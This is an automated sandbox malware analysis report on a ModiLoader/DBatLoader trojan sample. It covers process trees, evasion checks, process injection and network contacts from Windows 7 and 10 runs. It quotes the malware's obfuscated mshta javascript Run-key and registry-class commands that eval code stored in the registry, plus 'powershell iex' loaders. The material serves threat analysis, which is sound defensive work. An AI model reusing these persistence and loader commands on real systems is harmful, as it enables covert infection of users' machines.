Malware Analysis Report

2024-10-23 19:36

Sample ID 240505-mpqxssah25
Target 174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118
SHA256 68d575796afd7a48fdabc4ff88c4aa26a817ddc3b3bb1df8a9705b58d57aa534
Tags
modiloader trojan evasion persistence
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

68d575796afd7a48fdabc4ff88c4aa26a817ddc3b3bb1df8a9705b58d57aa534

Threat Level: Known bad

The file 174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118 was found to be: Known bad.

Malicious Activity Summary

modiloader trojan evasion persistence

Process spawned unexpected child process

ModiLoader, DBatLoader

Looks for VirtualBox drivers on disk

Checks for common network interception software

ModiLoader Second Stage

Looks for VirtualBox Guest Additions in registry

Looks for VMWare Tools registry key

Drops startup file

Deletes itself

Checks computer location settings

Checks BIOS information in registry

Adds Run key to start application

Maps connected drives based on registry

Suspicious use of SetThreadContext

Drops file in System32 directory

Unsigned PE

Enumerates physical storage devices

Suspicious use of WriteProcessMemory

Modifies Internet Explorer settings

Modifies registry class

Suspicious behavior: MapViewOfSection

Suspicious use of AdjustPrivilegeToken

Suspicious use of SetWindowsHookEx

Suspicious behavior: EnumeratesProcesses

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-05-05 10:38

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral2

Detonation Overview

Submitted

2024-05-05 10:38

Reported

2024-05-05 10:41

Platform

win10v2004-20240226-en

Max time kernel

148s

Max time network

151s

Command Line

"C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Windows\system32\mshta.exe N/A

Enumerates physical storage devices

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 636 wrote to memory of 392 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1192 wrote to memory of 3044 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1192 wrote to memory of 3044 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1192 wrote to memory of 3044 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:k1J6Tjaw="4bGQJxk";B4e=new%20ActiveXObject("WScript.Shell");sww2sVm4="Rx";bvLq26=B4e.RegRead("HKLM\\software\\Wow6432Node\\J4BupofyG\\qxymf3Dw");rO2rqITJ="oiV0";eval(bvLq26);sc61bdnvN="cUx";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:uedv

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4256 --field-trial-handle=2252,i,16022092570067181109,3235558581947505669,262144 --variations-seed-version /prefetch:8

Network

Country Destination Domain Proto
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
US 8.8.8.8:53 77.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 69.31.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 15.164.165.52.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 79.190.18.2.in-addr.arpa udp
US 8.8.8.8:53 4.173.189.20.in-addr.arpa udp

Files

memory/392-2-0x0000000000400000-0x000000000043A000-memory.dmp

memory/392-4-0x0000000000400000-0x000000000043A000-memory.dmp

memory/392-5-0x0000000000400000-0x000000000043A000-memory.dmp

memory/392-6-0x00000000009F0000-0x0000000000AC6000-memory.dmp

memory/392-10-0x00000000009F0000-0x0000000000AC6000-memory.dmp

memory/392-9-0x00000000009F0000-0x0000000000AC6000-memory.dmp

memory/392-7-0x00000000009F0000-0x0000000000AC6000-memory.dmp

memory/392-8-0x00000000009F0000-0x0000000000AC6000-memory.dmp

memory/392-11-0x00000000009F0000-0x0000000000AC6000-memory.dmp

memory/392-12-0x00000000009F0000-0x0000000000AC6000-memory.dmp

memory/3044-14-0x0000000002720000-0x0000000002756000-memory.dmp

memory/3044-15-0x00000000051F0000-0x0000000005818000-memory.dmp

memory/3044-16-0x0000000005040000-0x0000000005062000-memory.dmp

memory/3044-17-0x0000000005820000-0x0000000005886000-memory.dmp

memory/3044-18-0x0000000005900000-0x0000000005966000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ymed2445.yem.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3044-28-0x0000000005970000-0x0000000005CC4000-memory.dmp

memory/3044-30-0x0000000005DA0000-0x0000000005DBE000-memory.dmp

memory/3044-31-0x00000000063F0000-0x000000000643C000-memory.dmp

memory/3044-32-0x0000000007650000-0x0000000007CCA000-memory.dmp

memory/3044-33-0x00000000062F0000-0x000000000630A000-memory.dmp

Analysis: behavioral1

Detonation Overview

Submitted

2024-05-05 10:38

Reported

2024-05-05 10:41

Platform

win7-20240215-en

Max time kernel

149s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"

Signatures

ModiLoader, DBatLoader

trojan modiloader

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process N/A C:\Windows\system32\mshta.exe

Checks for common network interception software

evasion

Looks for VirtualBox Guest Additions in registry

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions C:\Windows\SysWOW64\regsvr32.exe N/A

Looks for VirtualBox drivers on disk

evasion
Description Indicator Process Target
File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys C:\Windows\SysWOW64\regsvr32.exe N/A

ModiLoader Second Stage

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Looks for VMWare Tools registry key

evasion
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools C:\Windows\SysWOW64\regsvr32.exe N/A

Checks BIOS information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion C:\Windows\SysWOW64\regsvr32.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Drops startup file

Description Indicator Process Target
File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\2d7d1.lnk C:\Windows\SysWOW64\regsvr32.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:V5S0BeP=\"YPOS9eI\";T8H=new%20ActiveXObject(\"WScript.Shell\");YRG6h8J=\"WK028\";SjFY5=T8H.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\atqjps\\\\xawh\");fdif9qDP4=\"oZ\";eval(SjFY5);bp2W9XE=\"2\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Windows\\system32\\mshta.exe\" javascript:Nf0Mw=\"21\";J93i=new%20ActiveXObject(\"WScript.Shell\");wuuZjl0=\"Esa9B\";w9fiw=J93i.RegRead(\"HKCU\\\\software\\\\atqjps\\\\xawh\");W1Wv0FU=\"8\";eval(w9fiw);DU1cfFe=\"Dc\";" C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\ed3e8\\d468b.lnk\"" C:\Windows\SysWOW64\regsvr32.exe N/A

Maps connected drives based on registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum C:\Windows\SysWOW64\regsvr32.exe N/A
Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 C:\Windows\SysWOW64\regsvr32.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Enumerates physical storage devices

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\International C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\system32\mshta.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl C:\Windows\SysWOW64\regsvr32.exe N/A

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739 C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open\command C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\0f739\shell\open\command\ = "\"C:\\Windows\\system32\\mshta.exe\" \"javascript:PXab6l6=\"W\";VL01=new ActiveXObject(\"WScript.Shell\");qUW1vMJ9u=\"IBxGo\";gv5Jm6=VL01.RegRead(\"HKCU\\\\software\\\\atqjps\\\\xawh\");xnvHVml8=\"u\";eval(gv5Jm6);XYR4lp=\"nusi4f\";\"" C:\Windows\SysWOW64\regsvr32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.cc93a6 C:\Windows\SysWOW64\regsvr32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-2248906074-2862704502-246302768-1000_CLASSES\.cc93a6\ = "0f739" C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious behavior: MapViewOfSection

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\regsvr32.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 1888 wrote to memory of 2964 N/A C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe
PID 2680 wrote to memory of 2972 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2680 wrote to memory of 2972 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2680 wrote to memory of 2972 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2680 wrote to memory of 2972 N/A C:\Windows\system32\mshta.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 2972 wrote to memory of 548 N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe
PID 548 wrote to memory of 2320 N/A C:\Windows\SysWOW64\regsvr32.exe C:\Windows\SysWOW64\regsvr32.exe

Processes

C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"

C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe

"C:\Users\Admin\AppData\Local\Temp\174b618aa8d992af5b03d7d1e56d6549_JaffaCakes118.exe"

C:\Windows\system32\mshta.exe

"C:\Windows\system32\mshta.exe" javascript:zmBQ1EBe="BdR";V8D=new%20ActiveXObject("WScript.Shell");BBZO8g="vqug3";R8g4ti=V8D.RegRead("HKLM\\software\\Wow6432Node\\6OaAcnU6oR\\uG8ll44Q");jXMAyZ5e="tS3";eval(R8g4ti);jFVWZ1p9="V";

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:ewmduqv

C:\Windows\SysWOW64\regsvr32.exe

regsvr32.exe

C:\Windows\SysWOW64\regsvr32.exe

"C:\Windows\SysWOW64\regsvr32.exe"

Network

Country Destination Domain Proto
KR 210.115.254.34:80 tcp
VN 171.227.97.90:80 tcp
US 65.125.33.34:80 tcp
US 166.130.5.41:80 tcp
KR 14.56.128.234:80 tcp
US 50.112.238.169:80 tcp
DE 160.211.231.254:80 tcp
MY 118.101.245.149:80 tcp
US 215.210.9.232:80 tcp
US 50.45.51.222:8080 tcp
US 16.29.21.64:80 tcp
CN 222.163.226.184:80 tcp
AR 186.137.255.46:80 tcp
RU 193.34.14.64:80 tcp
SA 5.244.117.214:80 tcp
HK 119.236.140.107:80 tcp
AO 155.89.3.147:80 tcp
CN 112.10.161.164:80 tcp
US 108.75.237.58:80 tcp
ES 213.4.60.205:443 tcp
US 199.75.71.189:80 tcp
FR 86.226.52.250:80 tcp
US 124.252.194.182:80 tcp
CN 27.37.7.233:8080 tcp
US 214.6.23.107:80 tcp
DE 88.69.252.254:80 tcp
US 55.220.124.2:80 tcp
IE 213.233.128.84:8080 tcp
